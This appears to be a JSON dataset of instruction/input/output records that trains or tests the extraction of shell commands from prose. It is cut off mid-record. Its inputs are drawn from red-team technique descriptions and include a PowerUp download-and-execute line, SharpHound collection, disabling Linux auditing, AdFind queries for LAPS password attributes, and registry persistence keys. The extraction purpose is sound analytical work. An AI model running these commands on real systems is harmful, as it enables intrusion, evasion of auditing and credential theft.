\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The binary, which was packed with UPX and has no other protections, can be copied and run via this command: cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin",
    "output": "{\"command_list\": [\"cp #{bin_path} /tmp/packed_bin && /tmp/packed_bin\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can display hidden files in MacOS by executing this command: defaults write com.apple.finder AppleShowAllFiles YES",
    "output": "{\"command_list\": [\"defaults write com.apple.finder AppleShowAllFiles YES\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For port scanning with Nmap, telnet, and nc, execute this command block: sudo nmap -sS #{network_range} -p #{port}\ntelnet #{host} #{port}\nnc -nv #{host} #{port}\n. The results will be output to stdout upon successful execution.",
    "output": "{\"command_list\": [\"sudo nmap -sS #{network_range} -p #{port}\\ntelnet #{host} #{port}\\nnc -nv #{host} #{port}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To verify internet connectivity, you can use PowerShell's Test-NetConnection cmdlet with the following command: Test-NetConnection -CommonTCPPort HTTP -ComputerName #{target}",
    "output": "{\"command_list\": [\"Test-NetConnection -CommonTCPPort HTTP -ComputerName #{target}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Disabling the audit system, which ceases the collection of data regarding system activities, can be achieved with this command: auditctl -e 0.",
    "output": "{\"command_list\": [\"auditctl -e 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To gather system information via PowerShell, execute this command: Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null",
    "output": "{\"command_list\": [\"Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For listing computer objects and their attributes, including Microsoft LAPS password attributes, execute this command: & \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" #{optional_args} -h #{domain} -s subtree -f \"objectclass=computer\" *",
    "output": "{\"command_list\": [\"& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" #{optional_args} -h #{domain} -s subtree -f \\\"objectclass=computer\\\" *\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create registry keys in locations commonly used by fin7 for SDB patches, run the following command, which will display output describing the created keys (also viewable in Registry Editor):\nNew-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\" -Name \"AtomicRedTeamT1546.011\" -Value \"AtomicRedTeamT1546.011\"\nNew-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\" -Name \"AtomicRedTeamT1546.011\" -Value \"AtomicRedTeamT1546.011\"",
    "output": "{\"command_list\": [\"New-ItemProperty -Path HKLM:\\\"\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\Custom\\\" -Name \\\"AtomicRedTeamT1546.011\\\" -Value \\\"AtomicRedTeamT1546.011\\\"\\nNew-ItemProperty -Path HKLM:\\\"\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\AppCompatFlags\\\\InstalledSDB\\\" -Name \\\"AtomicRedTeamT1546.011\\\" -Value \\\"AtomicRedTeamT1546.011\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution 